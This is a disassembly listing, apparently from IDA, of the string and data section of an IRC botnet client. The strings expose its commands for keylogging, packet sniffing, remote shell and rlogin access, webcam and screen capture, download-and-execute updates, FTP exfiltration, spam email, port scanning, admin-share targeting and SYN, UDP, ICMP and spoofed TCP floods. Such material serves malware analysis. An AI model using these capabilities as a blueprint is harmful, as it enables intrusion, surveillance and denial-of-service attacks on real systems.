align 4 asc_440414: ; DATA XREF: sub_40C50A+4892o dw 0Ah unicode 0, <>,0 aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: sub_40C50A+48AAo align 10h aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: sub_40C50A+48B5o aReadfile db 'readfile',0 ; DATA XREF: sub_40C50A+1BA3o align 10h aRf db 'rf',0 ; DATA XREF: sub_40C50A+1BBAo align 4 aR_1: ; DATA XREF: sub_40C50A:loc_410CF9o unicode 0, <r>,0 aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: sub_40C50A+4856o align 4 aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: sub_40C50A+486Ao align 4 aPsniff_0 db 'psniff',0 ; DATA XREF: sub_40C50A+1BD1o align 10h aOn db 'on',0 ; DATA XREF: sub_40C50A+1BE6o align 4 aPsniffAlreadyR db '[PSNIFF]: Already running.',0 ; DATA XREF: sub_40C50A+1C06o align 10h aPsniffCarnivor db '[PSNIFF]: Carnivore packet sniffer active.',0 ; DATA XREF: sub_40C50A+1C6Ao align 4 aPsniffFailedTo db '[PSNIFF]: Failed to start sniffer thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+1CD9o align 4 aOff db 'off',0 ; DATA XREF: sub_40C50A+1CE4o aPsniffCarniv_0 db '[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C50A+1D07o align 10h aPsniffNoCarniv db '[PSNIFF]: No Carnivore thread found.',0 ; DATA XREF: sub_40C50A:loc_40E21Bo align 4 aIdent db 'ident',0 ; DATA XREF: sub_40C50A+1D1Eo align 10h aOn_0 db 'on',0 ; DATA XREF: sub_40C50A+1D33o align 4 aIdentAlreadyRu db '[IDENT]: Already running.',0 ; DATA XREF: sub_40C50A+1D4Fo align 10h aIdentdServer_0 db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: sub_40C50A+1D5Fo align 4 aIdentdFailed_0 db '[IDENTD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_40C50A+1DACo align 4 aOff_0 db 'off',0 ; DATA XREF: sub_40C50A+1DB7o aIdentServerSto db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C50A+1DDAo align 10h aIdentNoThreadF db '[IDENT]: No thread found.',0 ; DATA XREF: sub_40C50A:loc_40E2EEo align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_40C50A+1DEEo align 4 aOn_1 db 'on',0 ; DATA XREF: sub_40C50A+1E03o align 4 aFile db 'file',0 ; DATA XREF: sub_40C50A+1E14o align 10h aKeylogAlreadyR db '[KEYLOG]: Already running.',0 ; DATA XREF: sub_40C50A+1E76o align 4 aFile_0 db 'file',0 ; DATA XREF: sub_40C50A+1E8Ao align 4 aKeylogKeyLog_0 db '[KEYLOG]: Key logger active.',0 ; DATA XREF: sub_40C50A+1EF4o align 4 aKeylogFailedTo db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+1F63o align 4 aOff_1 db 'off',0 ; DATA XREF: sub_40C50A+1E25o aKeylogKeyLogge db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C50A+1E48o align 4 aKeylogNoKeyLog db '[KEYLOG]: No key logger thread found.',0 ; DATA XREF: sub_40C50A:loc_40E35Co align 10h aNet db 'net',0 ; DATA XREF: sub_40C50A+1F70o aStart db 'start',0 ; DATA XREF: sub_40C50A+1FC7o align 4 aS_13 db '%s',0 ; DATA XREF: sub_40C50A+1FE7o align 10h aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: sub_40C50A+2018o align 10h aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: sub_40C50A:loc_40E52Co aStop db 'stop',0 ; DATA XREF: sub_40C50A+202Do align 4 aS_14 db '%s',0 ; DATA XREF: sub_40C50A+2048o align 4 aPause db 'pause',0 ; DATA XREF: sub_40C50A+2050o align 10h aS_15 db '%s',0 ; DATA XREF: sub_40C50A+206Bo align 4 aContinue db 'continue',0 ; DATA XREF: sub_40C50A+2076o align 10h aS_16 db '%s',0 ; DATA XREF: sub_40C50A+2091o align 4 aDelete_0 db 'delete',0 ; DATA XREF: sub_40C50A+209Co align 4 aS_17 db '%s',0 ; DATA XREF: sub_40C50A+20B7o align 10h aShare db 'share',0 ; DATA XREF: sub_40C50A+20C2o align 4 aS_18 db '%s',0 ; DATA XREF: sub_40C50A+20EBo align 4 aS_19 db '%s',0 ; DATA XREF: sub_40C50A+2103o align 10h aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: sub_40C50A+2135o align 10h aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: sub_40C50A:loc_40E649o align 4 aUser_2 db 'user',0 ; DATA XREF: sub_40C50A+214Ao align 4 aS_20 db '%s',0 ; DATA XREF: sub_40C50A+2183o align 4 aS_21 db '%s',0 ; DATA XREF: sub_40C50A+21AAo align 4 aS_22 db '%s',0 ; DATA XREF: sub_40C50A+21BBo align 10h aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: sub_40C50A+21EDo aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: sub_40C50A:loc_40E6FEo align 4 aSend_1 db 'send',0 ; DATA XREF: sub_40C50A+21FCo align 10h aS_23 db '%s',0 ; DATA XREF: sub_40C50A+222Co align 4 aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: sub_40C50A:loc_40E746o align 4 aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: sub_40C50A:loc_40E74Do aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0 ; DATA XREF: sub_40C50A+1F94o aCapture db 'capture',0 ; DATA XREF: sub_40C50A+2291o aCap db 'cap',0 ; DATA XREF: sub_40C50A+22A8o aScreen db 'screen',0 ; DATA XREF: sub_40C50A:loc_410AB6o align 4 aCaptureScreenC db '[CAPTURE]: Screen capture saved to: %s.',0 ; DATA XREF: sub_40C50A+45E5o aCaptureErrorWh db '[CAPTURE]: Error while capturing screen.',0 ; DATA XREF: sub_40C50A:loc_410AFFo align 4 aCaptureNoFilen db '[CAPTURE]: No filename specified for screen capture.',0 ; DATA XREF: sub_40C50A:loc_410B06o align 10h aDrivers db 'drivers',0 ; DATA XREF: sub_40C50A:loc_410B19o aCaptureDriverD db '[CAPTURE]: Driver #%d - %s - %s.',0 ; DATA XREF: sub_40C50A+4663o align 4 aCaptureDriverL db '[CAPTURE]: Driver list complete.',0 ; DATA XREF: sub_40C50A+4699o align 10h aFrame db 'frame',0 ; DATA XREF: sub_40C50A:loc_410BB0o align 4 aCaptureWebcamC db '[CAPTURE]: Webcam capture saved to: %s.',0 ; DATA XREF: sub_40C50A+4722o aCaptureError_0 db '[CAPTURE]: Error while capturing from webcam.',0 ; DATA XREF: sub_40C50A:loc_410C3Co align 10h aCaptureInvalid db '[CAPTURE]: Invalid parameters for webcam capture.',0 ; DATA XREF: sub_40C50A:loc_410C43o align 4 aVideo db 'video',0 ; DATA XREF: sub_40C50A:loc_410C56o align 4 aCaptureAmateur db '[CAPTURE]: Amateur video saved to: %s.',0 ; DATA XREF: sub_40C50A+47D1o align 4 aCaptureError_1 db '[CAPTURE]: Error while capturing amateur video from webcam.',0 ; DATA XREF: sub_40C50A:loc_410CE5o aCaptureInval_0 db '[CAPTURE]: Invalid parameters for amateur video capture.',0 ; DATA XREF: sub_40C50A:loc_410CEFo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_40C50A+22BFo aGh db 'gh',0 ; DATA XREF: sub_40C50A+22D6o align 4 aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+4510o align 4 aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: sub_40C50A+4537o align 4 aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0 ; DATA XREF: sub_40C50A+4553o align 4 aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: sub_40C50A+458Eo align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_40C50A+22FFo align 4 aAa db 'aa',0 ; DATA XREF: sub_40C50A+2316o align 10h aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: sub_40C50A+44B8o align 4 aPrivmsg_2 db 'privmsg',0 ; DATA XREF: sub_40C50A+232Do aPm_0 db 'pm',0 ; DATA XREF: sub_40C50A+2344o align 4 aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: sub_40C50A+447Do align 4 aAction db 'action',0 ; DATA XREF: sub_40C50A+235Bo align 4 aA_1: ; DATA XREF: sub_40C50A+2372o unicode 0, <a>,0 dword_440C00 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40C50A+4408o aMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: sub_40C50A+4427o aCycle db 'cycle',0 ; DATA XREF: sub_40C50A+2389o align 4 aCy db 'cy',0 ; DATA XREF: sub_40C50A+23A0o align 10h a332_2 db '332',0 ; DATA XREF: sub_40C50A+436Eo aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4385o align 10h aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+43B2o align 10h aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: sub_40C50A+43BFo align 10h aMode db 'mode',0 ; DATA XREF: sub_40C50A+23B7o align 4 aM: ; DATA XREF: sub_40C50A+23CEo unicode 0, <m>,0 aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4348o align 4 aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: sub_40C50A+4356o aC_raw db 'c_raw',0 ; DATA XREF: sub_40C50A+23E5o align 4 aC_r db 'c_r',0 ; DATA XREF: sub_40C50A+23FCo aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4300o align 4 aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: sub_40C50A+431Fo align 4 aC_mode db 'c_mode',0 ; DATA XREF: sub_40C50A+2413o align 4 aC_m db 'c_m',0 ; DATA XREF: sub_40C50A+242Ao aModeS db 'MODE %s',0 ; DATA XREF: sub_40C50A+425Fo aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4295o align 4 aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: sub_40C50A+42B4o align 10h aC_nick db 'c_nick',0 ; DATA XREF: sub_40C50A+2441o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_40C50A+2458o aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_40C50A+41D4o aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+4209o align 4 aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: sub_40C50A+422Ao align 4 aC_join db 'c_join',0 ; DATA XREF: sub_40C50A+246Fo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_40C50A+2486o aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_40C50A+418Fo align 4 aS_25 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+41C4o align 4 aC_part db 'c_part',0 ; DATA XREF: sub_40C50A+249Do align 4 aC_p db 'c_p',0 ; DATA XREF: sub_40C50A+24B4o aPartS db 'PART %s',0 ; DATA XREF: sub_40C50A+4125o aS_24 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+415Ao align 10h aRepeat db 'repeat',0 ; DATA XREF: sub_40C50A+24CBo align 4 aRp db 'rp',0 ; DATA XREF: sub_40C50A+24E2o align 4 a332_1 db '332',0 ; DATA XREF: sub_40C50A+405Co aRepeat_0 db 'repeat',0 ; DATA XREF: sub_40C50A+408Ao align 4 aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+40B5o align 4 aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: sub_40C50A+40DBo align 4 aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0 ; DATA XREF: sub_40C50A:loc_41061Co align 4 aDelay db 'delay',0 ; DATA XREF: sub_40C50A+24F9o align 4 aDe db 'de',0 ; DATA XREF: sub_40C50A+2510o align 4 a332_0 db '332',0 ; DATA XREF: sub_40C50A+3FC1o aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_40C50A+4002o align 4 aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: sub_40C50A:loc_41054Co align 4 aFalehupd db 'falehupd',0 ; DATA XREF: sub_40C50A+2527o align 4 aUfalehupdp db 'ufalehupdp',0 ; DATA XREF: sub_40C50A+253Eo align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40C50A+3E92o align 10h aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: sub_40C50A+3F38o align 4 aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3FA7o aUpdateBotIdMus db '[UPDATE]: Bot ID must be different than current running process.',0 ; DATA XREF: sub_40C50A:loc_4104BBo align 4 aExecute db 'execute',0 ; DATA XREF: sub_40C50A+2555o aE: ; DATA XREF: sub_40C50A+256Co unicode 0, <e>,0 aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: sub_40C50A+3E28o align 10h aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: sub_40C50A+3E33o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40C50A+2583o align 4 aFf_0 db 'ff',0 ; DATA XREF: sub_40C50A+259Ao align 4 aFindfileSear_0 db '[FINDFILE]: Searching for file: %s in: %s.',0 ; DATA XREF: sub_40C50A+3D26o align 4 aFindfileFailed db '[FINDFILE]: Failed to start search thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3DA0o aRename db 'rename',0 ; DATA XREF: sub_40C50A+25B1o align 4 aMv db 'mv',0 ; DATA XREF: sub_40C50A+25C8o align 4 aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40C50A+3C70o align 4 aFile_1 db '[FILE]:',0 ; DATA XREF: sub_40C50A:loc_410192o aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40C50A+25DFo align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_40C50A+25F6o align 4 aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: sub_40C50A+3BCAo align 4 aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3C44o align 10h aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_40C50A:loc_410158o align 4 aClone_0 db 'clone',0 ; DATA XREF: sub_40C50A+261Fo align 4 aC: ; DATA XREF: sub_40C50A+2636o unicode 0, <c>,0 aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0 ; DATA XREF: sub_40C50A+3AE4o align 4 aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3B53o align 4 aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: sub_40C50A+264Do align 10h aDdos_ack_0 db 'ddos.ack',0 ; DATA XREF: sub_40C50A+2664o align 4 aDdos_random_0 db 'ddos.random',0 ; DATA XREF: sub_40C50A+267Bo aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40C50A+39E4o align 4 aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3A5Co align 4 aSynflood db 'synflood',0 ; DATA XREF: sub_40C50A+2692o align 4 aSyn_0 db 'syn',0 ; DATA XREF: sub_40C50A+26A9o aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40C50A+38D5o align 4 aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+394Fo align 4 aFalehdownl db 'falehdownl',0 ; DATA XREF: sub_40C50A+26C0o align 4 aFalehdownl2 db 'falehdownl2',0 ; DATA XREF: sub_40C50A+26D7o aDownloadDown_1 db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: sub_40C50A+37F6o aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3865o align 4 aRedirect_0 db 'redirect',0 ; DATA XREF: sub_40C50A+26EEo align 10h aRd db 'rd',0 ; DATA XREF: sub_40C50A+2705o align 4 aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0 ; DATA XREF: sub_40C50A+36B8o aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3727o align 4 aScan_1 db 'scan',0 ; DATA XREF: sub_40C50A+271Co align 4 aSc db 'sc',0 ; DATA XREF: sub_40C50A+2733o align 4 aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0 ; DATA XREF: sub_40C50A+35BEo align 10h aScanFailedTo_3 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+362Do align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_40C50A+274Ao align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_40C50A+2761o align 4 aSSS_2 db '[%s] <%s> %s',0 ; DATA XREF: sub_40C50A+353Ao align 4 aC_action db 'c_action',0 ; DATA XREF: sub_40C50A+2778o align 4 aC_a db 'c_a',0 ; DATA XREF: sub_40C50A+278Fo dword_441368 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40C50A+33AFo aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40C50A+343Do align 4 aFofofo db 'fofofo',0 ; DATA XREF: sub_40C50A+27B8o align 4 aF0f0f0 db 'f0f0f0',0 ; DATA XREF: sub_40C50A+27CFo align 4 aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0 ; DATA XREF: sub_40C50A+3022o align 10h aScanFailedTo_0 db '[SCAN]: Failed to start scan, port is invalid.',0 ; DATA XREF: sub_40C50A+3114o align 10h aScanFailedTo_1 db '[SCAN]: Failed to start scan, no IP specified.',0 ; DATA XREF: sub_40C50A+3171o align 10h aRandom_0 db 'Random',0 ; DATA XREF: sub_40C50A+32AFo align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_40C50A+32B6o align 4 aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds ' ; DATA XREF: sub_40C50A+32E1o db 'for %d minutes using %d threads.',0 align 4 aScanFailedTo_2 db '[SCAN]: Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+3350o align 4 aUdpflood db 'udpflood',0 ; DATA XREF: sub_40C50A+27E6o align 4 aUdp db 'udp',0 ; DATA XREF: sub_40C50A+27FDo aU: ; DATA XREF: sub_40C50A+2814o unicode 0, <u>,0 aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).' ; DATA XREF: sub_40C50A+2F82o db 0 align 4 aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+2FF1o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_40C50A+282Bo align 4 aPing_1 db 'ping',0 ; DATA XREF: sub_40C50A+2842o align 4 aP: ; DATA XREF: sub_40C50A+2859o unicode 0, <p>,0 aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).' ; DATA XREF: sub_40C50A+2E3Bo db 0 align 4 aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+2EA6o align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40C50A+2EBBo align 10h aTcpflood db 'tcpflood',0 ; DATA XREF: sub_40C50A+2870o align 4 aTcp db 'tcp',0 ; DATA XREF: sub_40C50A+2887o aSyn_1 db 'syn',0 ; DATA XREF: sub_40C50A+2C2Fo aAck db 'ack',0 ; DATA XREF: sub_40C50A+2C47o aRandom db 'random',0 ; DATA XREF: sub_40C50A+2C5Eo align 10h aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40C50A+2D03o aNormal db 'Normal',0 ; DATA XREF: sub_40C50A+2D0Ao align 10h aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0 ; DATA XREF: sub_40C50A+2D1Ao align 10h aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_40C50A+2D94o align 4 aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0 ; DATA XREF: sub_40C50A:loc_40F2A8o align 4 aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: sub_40C50A+2C6Eo align 10h aEmail db 'email',0 ; DATA XREF: sub_40C50A+289Eo align 4 asc_441708: ; DATA XREF: sub_40C50A+28E8o unicode 0, < >,0 a__2: ; DATA XREF: sub_40C50A+28EDo unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40C50A+2989o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: sub_40C50A+29FDo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_40C50A+2A19o aHcon db 'hcon',0 ; DATA XREF: sub_40C50A+2A30o align 4 aUpload db 'upload',0 ; DATA XREF: sub_40C50A+2A53o align 4 aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: sub_40C50A+2A76o align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40C50A+2AFCo align 10h aAb db 'ab',0 ; DATA XREF: sub_40C50A+2B0Do align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40C50A+2B31o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSS_11 db '-s:%s',0 ; DATA XREF: sub_40C50A+2B51o align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40C50A+2B68o aOpen_1 db 'open',0 ; DATA XREF: sub_40C50A+2B6Do align 10h aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: sub_40C50A+2B7Fo align 4 aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0 ; DATA XREF: sub_40C50A:loc_40F090o align 10h aRedirectClient db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_412814+E1o align 4 aRedirectFail_0 db '[REDIRECT]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_412814+156o aRedirectClie_0 db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_41299C+E1o align 4 aRedirectFail_1 db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0 ; DATA XREF: sub_41299C+1AAo aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_412C88+33o aS_31 db '%s',0 ; DATA XREF: sub_412C88+4Co align 4 aCmdCouldNotRea db '[CMD]: Could not read data from proccess',0Dh,0Ah,0 ; DATA XREF: sub_412D0F:loc_412DF5o align 4 aCmdProccessHas db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_412D0F+10Fo align 4 aCmdCouldNotR_0 db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0 ; DATA XREF: sub_412D0F:loc_412E41o aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_412E64+20o aCmdRemoteComma db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_412E64+150o align 10h aCmdFailedToSta db '[CMD]: Failed to start IO thread, error: <%d>.',0 ; DATA XREF: sub_412E64+198o align 10h aRlogindErrorGe db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_41301C+E1o align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_41301C+172o align 4 aRlogindUserLog db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_41301C+1A2o aRlogindErrorSe db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_41301C+1C2o align 4 aRlogindUserL_0 db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_41301C+1E9o align 10h aRlogindProtoco db '[RLOGIND]: Protocol string too long.',0 ; DATA XREF: sub_413221:loc_413266o align 4 aRlogindLoginRe db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0 ; DATA XREF: sub_41327B+1Bo align 4 aRlogindLogin_0 db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0 align 10h aRlogindErrorWs db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_4132AA+3Do align 4 aRlogindFaile_0 db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0 ; DATA XREF: sub_4132AA+70o align 4 aRlogindReadyAn db '[RLOGIND]: Ready and waiting for incoming connections.',0 ; DATA XREF: sub_4132AA+106o align 10h aRlogindClientC db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_4132AA+177o aRlogindFaile_1 db '[RLOGIND]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_4132AA+1FBo align 4 aRlogindError_0 db '[RLOGIND]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_4132AA+219o align 10h aConst db 'const',0 align 4 dd 0 dword_441CCC dd 1 ; DATA XREF: sub_4138AA+7o off_441CD0 dd offset sub_413532 ; DATA XREF: sub_4138AA+49r aLetter db 'letter',0 align 10h dd 2, 413590h, 706D6F63h, 2 dup(0) dd 3, 4135DDh, 6E756F63h, 797274h, 0 dd 4, 413683h, 736Fh, 2 dup(0) dd 5, 4136F8h dword_441D24 dd 7325h ; DATA XREF: sub_413532+19o aSI_2 db '%s%i',0 ; DATA XREF: sub_413532+40o align 10h aPc db 'PC',0 ; DATA XREF: .text:004135E3o ; sub_4138AA+39o align 4 aPc_0 db 'PC',0 ; DATA XREF: .text:0041360Do align 4 aPc_1 db 'PC',0 ; DATA XREF: .text:00413639o align 4 aSI db '%s%i',0 ; DATA XREF: .text:00413664o align 4 aS_32 db '%s|',0 ; DATA XREF: .text:004136B2o aSI_0 db '%s%i',0 ; DATA XREF: .text:004136D9o align 10h a95 db '95',0 ; DATA XREF: .text:00413747o align 4 aNt db 'NT',0 ; DATA XREF: .text:00413755o align 4 a98 db '98',0 ; DATA XREF: .text:00413765o align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:00413775o align 10h a2k db '2K',0 ; DATA XREF: .text:0041378Eo align 4 aXp db 'XP',0 ; DATA XREF: .text:0041379Eo align 4 a2k3 db '2K3',0 ; DATA XREF: .text:004137ACo a??? db '???',0 ; DATA XREF: .text:loc_4137B3o aS_33 db '[%s]|',0 ; DATA XREF: .text:004137BCo align 4 aSI_1 db '%s%i',0 ; DATA XREF: .text:004137E3o align 10h aMirc_2 db 'mIRC',0 ; DATA XREF: sub_413802+1Fo align 4 aM_0 db '[M]',0 ; DATA XREF: sub_413802+2Co aDS db '[%d]%s',0 ; DATA XREF: sub_413802+3Ao align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_413802:loc_413851o align 4 aM_1 db '[M]',0 ; DATA XREF: sub_413802+5Co aScanIpSPortD_0 db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_413913+92o align 4 aScanScanningIp db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_4139E0+41o align 4 off_441DE8 dd offset aIpc ; DATA XREF: sub_413B31+1B3o ; sub_413E55+179o ; "IPC$" align 10h dd offset aAdmin_1 ; "ADMIN$" align 8 off_441DF8 dd offset aC_4 ; DATA XREF: sub_413E55+1E1o ; "C$" dd offset aC_5 ; "C:\\" dd offset aD_2 ; "D$" dd offset aD_3 ; "D:\\" aIpc db 'IPC$',0 ; DATA XREF: sub_413B31+217o ; .data:off_441DE8o align 10h aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:00441DF0o align 4 aC_4 db 'C$',0 ; DATA XREF: .data:off_441DF8o align 4 aC_5 db 'C:\',0 ; DATA XREF: .data:00441DFCo aD_2 db 'D$',0 ; DATA XREF: .data:00441E00o align 4 aD_3 db 'D:\',0 ; DATA XREF: .data:00441E04o word_441E28 dw 4Eh ; DATA XREF: sub_413B31+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_413B31+54o align 4 aSecureDisableD db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_413B31+66o align 4 aSecureDcomDisa db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_413B31:loc_413B9Eo align 4 aSecureFailed_1 db '[SECURE]: Failed to open DCOM registry key.',0 ; DATA XREF: sub_413B31+91o aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_413B31+EDo align 4 aSecureFailed_2 db '[SECURE]: Failed to restrict access to the IPC$ Share.',0 ; DATA XREF: sub_413B31+106o align 4 aSecureRestrict db 